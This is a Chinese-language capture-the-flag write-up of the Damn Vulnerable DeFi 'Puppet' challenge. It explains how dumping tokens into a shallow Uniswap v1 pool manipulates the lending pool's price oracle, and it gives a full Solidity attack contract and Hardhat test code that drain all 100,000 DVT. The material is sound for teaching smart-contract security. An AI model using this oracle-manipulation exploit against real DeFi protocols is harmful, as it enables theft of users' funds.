有一个借贷池,用户可以借出Damn Valuable Tokens (DVT)。为了这样做,他们首先需要以抵押品形式存入两倍于借款金额的以太币。该池子目前有100,000个DVT代币的流动性。
在一个旧的Uniswap v1交易所中开设了一个DVT市场,目前有10个ETH和10个DVT的流动性。
通过从借贷池中取走所有的代币来完成挑战。你的余额中有25个ETH和1,000个DVT代币。
分析PuppetPool.sol发现,借贷比例是根据uniswap中ETH和token的比例确认的。如果直接使用25ETH只可以买25个DTV,无法满足题目要求消耗所有借贷池中所有DVT。分析发现uniswap池子中的流动性很“浅”,只有10个ETH加10个DVT。如果将1000个DVT全部卖掉,DVT的价格会显著降低,只需要20个ETH左右就可以购买所有的100000。
创建PuppetPoolAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";
import {PuppetPool} from "./PuppetPool.sol";
import "hardhat/console.sol";
import {IUniswapExchange} from "./IUniswapExchange.sol";
contract PuppetPoolAttack {
PuppetPool public puppetPool;
DamnValuableToken public damnValuableToken;
IUniswapExchange public uniswapV1Exchange;
constructor(
address puppetPoolAddress,
address uniswapExchangeAddress
) payable {
puppetPool = PuppetPool(puppetPoolAddress);
damnValuableToken = DamnValuableToken(puppetPool.token());
uniswapV1Exchange = IUniswapExchange(uniswapExchangeAddress);
}
function attack() public {
uint256 attackTokenAmount = damnValuableToken.balanceOf(address(this));
damnValuableToken.approve(
address(uniswapV1Exchange),
attackTokenAmount
);
uniswapV1Exchange.tokenToEthSwapInput(
attackTokenAmount,
1,
block.timestamp + 5000
);
uint256 puppetPoolTokenAmount = damnValuableToken.balanceOf(
address(puppetPool)
);
uint256 depositRequired = puppetPool.calculateDepositRequired(
puppetPoolTokenAmount
);
puppetPool.borrow{value: depositRequired}(
puppetPoolTokenAmount,
msg.sender
);
}
receive() external payable {}
}
puppet.challenge.js
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const attackFoctory = await ethers.getContractFactory("PuppetPoolAttack");
const attackContracts = await attackFoctory.deploy(
lendingPool.address,
uniswapExchange.address, {
value: PLAYER_INITIAL_ETH_BALANCE
}
);
await token.connect(player).transfer(
attackContracts.address,
PLAYER_INITIAL_TOKEN_BALANCE
);
await attackContracts.connect(player).attack();
});